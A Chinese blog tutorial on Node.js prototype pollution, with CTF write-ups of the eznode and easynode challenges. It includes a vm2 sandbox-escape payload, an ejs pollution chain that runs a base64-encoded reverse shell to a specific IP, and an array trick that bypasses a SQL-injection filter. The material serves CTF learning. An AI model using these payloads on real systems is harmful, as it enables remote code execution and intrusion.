NodeJS原型链污染

8 分钟

前言

NodeJs作为Javascript的一门后端语言,基础比较早就学了,在CTF中原型链污染也算是一个常客了,之前也做过几道原型链污染的题目,但是一直都没有将其整理出来,今天又遇到了,于是就做个记录总结。

关于NodeJS

  1. 基于Chrome V8引擎的Javascript的运行环境,V8相对于火狐的OdinMonkey,Safri浏览器的JSCore都要快。
  2. Node.js是Javascript的后端运行环境,无法调用DOM和BOM等浏览器内置API,仅仅提供了基础的功能和API,这些基础使很多强大的框架出现,可以基于Express框架构建Web应用,基于restify快速构建API项目,可以读写和操作数据库等。
  3. NodeJS可以通过NPM服务器下载别人的第三方包到本地使用,主要通过require引入。

更多基础可参考我的NodeJS学习文章:NodeJS基础

child_process模块

child_process可以看作是nodeJS的一种原生API,它的诞生使得js脚本能够执行shell命令,主要方法有以下。

  1. child_processchild_process.exec(): 衍生 shell 并在该 shell 中运行命令,完成后将 stdout 和 stderr 传给回调函数。
  1. child_process.execFile(): 与 child_process.exec() 类似,不同之处在于,默认情况下,它直接衍生命令,而不先衍生 shell。
  2. child_process.fork(): 衍生新的 Node.js 进程并使用建立的 IPC 通信通道(其允许在父子进程之间发送消息)调用指定的模块。
  3. child_process.execSync(): child_process.exec() 的同步版本,其将阻塞 Node.js 事件循环。
  4. child_process.execFileSync(): child_process.execFile() 的同步版本,其将阻塞 Node.js 事件循环。

比如使用例子:

const process = require("child_process");

//执行whoami命令并输出,会通过回调函数的形式接收stdout
function exec() {
    process.exec('whoami',((error, stdout, stderr) => {
        if(!error){
            console.log(stdout.toString());
        }
    }))

}
//通过on监听命令指向结果
function spawn() {
    process.spawn('more',['node.iml']).stdout.on('data',(data)=>{
        console.log(data.toString());
    })
}
exec()
spawn()

file

相比spawn和exec,都能用于执行一个命令,spawn能够以数组的形式提供参数,exec方法相比spawn方法,提供了回调函数,但是子进程返回给Node的数据流,exec又maxBuffer限制为200K,而spawn则无大小限制。

原型链

javascript的继承关系

众所周知,对象是每一门语言都很重要的东西,各种语言都会存在对象之间的继承,而javascript的继承关系十分独特,它是通过一条原型链的来进行继承的,存在父类子类之分,而javascript在寻找对象的属性时,也遵循这样的一条规则:先在实例化类中查找对应的属性,假若没有,则会从原型链中查找,即它的父类对象,一直向上寻找,直至找不到返回null。

prototype、proto、construct

  1. prototype属性,它是函数独有的,可以将一个函数指向一个对象,即指定函数的原型对象,它是作用就是让所有函数实例化的对象们都可以找到公用的属性和方法。

示例:

function Test() {
    this.data1=8;
    this.data2=9;
}
const test =new Test();
Test.prototype.data3=10;
console.log(test.data1);
console.log(test.data2);
console.log(test.data3);

file

可以看到,通过prototype属性在Test函数的原型对象中创建了data3,赋值为10,用实例化的test类也能够访问到这个公有的属性data3
  1. proto属性,不同于prototype的函数独有,它是对象所独有的,一个对象可以通过\__proto\__属性将其指向另一个对象即它们的父对象,它的作用就是当访问一个对象属性时,如果该对象的内部不存在这个属性,就会向它的\__proto\__属性中寻找,不断的往上寻找。

示例:

function Test() {
    this.data1=8;
    this.data2=9;
}
const test =new Test();
test.__proto__.data4=11;
console.log(Test.prototype===test.__proto__);
console.log(test.data4);

file

可以看到test.\__proto\__与Test.prototype其实是相同的,都指向了原型链中的同一个父类对象。
  1. construct属性,它也是对象独有的,从一个对象指向一个函数,含义就是指向该对象的构造函数,可用于返回创建该对象的函数。
let a, b;
(function(){
    function A (arg1,arg2) {
        this.a = 1;
        this.b=2;
    }

    A.prototype.log = function () {
        console.log(this.a);
    }
    a = new A();
    b = new A();
})()
a.log();
b.log();
//输出 1 1

//因为A在闭包中,不能直接访问A,可以通过constructor给A类添加新方法
a.constructor.prototype.log2 = function () {
    console.log(this.b)
}

a.log2();
b.log2();
//输出 2 2

也正因为Javascript的这种原型链继承关系,所以使得原型链污染的发生。

let test={test:1}
console.log(test.test)
test.__proto__.test=2
console.log(test.test)
let test1 = {}
console.log(test1.test)
//输出1 1 2,可以看到test1在找test属性的时候会从父类Object中寻找,导致属性能够被控制

简单示例

const express=require('express')
const bodyParser = require("body-parser");
const app=express()
app.use(bodyParser.json({ limit: '2mb' }))
app.use(bodyParser.urlencoded({
    extended: false
}))
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}
app.post('/login',function (req,res) {
    let admin={};
    let flag='flag{this_is_flag}';
    let user={}
    copy(user,req.body)
    if(admin.password==='password'){
        res.end(flag)
    }
    else{
        return res.json({code:2,message:'登录失败'+JSON.stringify(user)});
    }
})

const server = app.listen(8081, function () {
    const {address,port} = server.address();
    console.log("express server running at https://%s:%s", address, port)

});

可以看到admin对象的password属性要为password才输出flag,因此可以通过原型链污染user的父对象,使得admin找password时从父对象寻找,找到password

file

[HZNUCTF 2023 final]eznode

源码如下:

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

可以看到引入了VM2沙箱执行一段shellcode,以隔离环境,并且通过clone调用了merge方法,如果body中存在shit等于1,则执行backdoor方法,因此可以通过原型链去污染shellcode,然后通过VM2的沙箱逃逸,进行RCE。
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}} 

file

[GKCTF2021]easynode

附件直接给了源码:

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());

const decode = (str) =>{
    str = str.replace(/\'/g,'\\\'');
    return str;
}

let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = "${username}"`;
        
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        
        board = JSON.parse(query[0].board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 
        
        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});


app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

仔细看一下源码,很明显原型链渲染的点就在extend({},JSON.parse(addDIV));这个地方,仔细看一下出题人的提示js文件,可以看到这里的username为\__proto\__,也就是说adminDIV中token认证的用户名为\__proto\__,意味中我们要创建这个用户,而在addAdmin路由中,可以创建用户,因此需要知道admin的token然后创建\__proto\__用户,最后通过\__ptoto\__用户登入admin中,最后通过\__proto\__登入admin路由,通过board渲染,触发RCE。

并且出题人直接在test.js中直接给出了链:

var jsExtend = require("js-extend")
var obj = {"123":"saddas"}
var malicious_payload = '{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x","name":"123"}}';
console.log(malicious_payload);
console.log("Before: " + {}.outputFunctionName);
jsExtend.extend(obj, JSON.parse(malicious_payload));
console.log("After : " + {}.outputFunctionName);

// app.get('/test',async (req,res)=>{

//     username="__proto__";
//     board ='{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
//     extend({},JSON.parse(board));
//     console.log({}.outputFunctionName);
//     console.log(JSON.stringify(board));
//     const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
//     res.writeHead(200, {"Content-Type": "text/html"});
//     res.end(html)
// })

首先要解决的问题就是如何进行admin登录获取token,可以看到在waf中过滤了一些特殊字符,然后却使用slice()进行了拼接,可以使用数组进行绕过。

const waf = (str) => {
        blacklist = ['\\', '\^', ')', '(', '\"', '\'']
        blacklist.forEach(element => {
            if (str == element) {
                str = "*";
            }
        });
        return str;
    }
const safeStr = (str) => {
        for (let i = 0; i < str.length; i++) {
            if (waf(str[i]) == "*") {

                str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
            }

        }
        return str;
    }
username=["admin' or 1 #",1,1,1,1,1,1,1,"("]
u = safeStr(username);
console.log(u)

file

这样单引号就被逃逸了出来,可以完成登录的绕过,这里多余的字符要足够多,以至能够将循环的时候能直接将admin'作为整体,'就出来了。
  1. 使用admin绕过进行登录获取token
    file
  2. 通过获得的admin的token进入addAdmin注册\__proto\__用户
    file
  3. 通过账号密码登录\__proto\__获得token,然后通过这个token进入adminDIV,传入触发链
    file
data={"outputFunctionName":"x2;global.process.mainModule.require('child_process').exec('echo%20YmFzaCAtYyAnYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMSc%3D%7Cbase64%20-d%7Cbash');var x1"}
  1. 使用\__proto\__进入admin触发链条,进行RCE
    file
  2. 反弹shell成功
    file

    总结

    文章只做原型链污染的初了解,以后遇到原型链的题目会不断的进行添加。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:NodeJS原型链污染
文章链接:https://aiwin.fun/index.php/archives/2041/
最后编辑:2024 年 1 月 4 日 16:58 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 8 + 5 =
快来做第一个评论的人吧~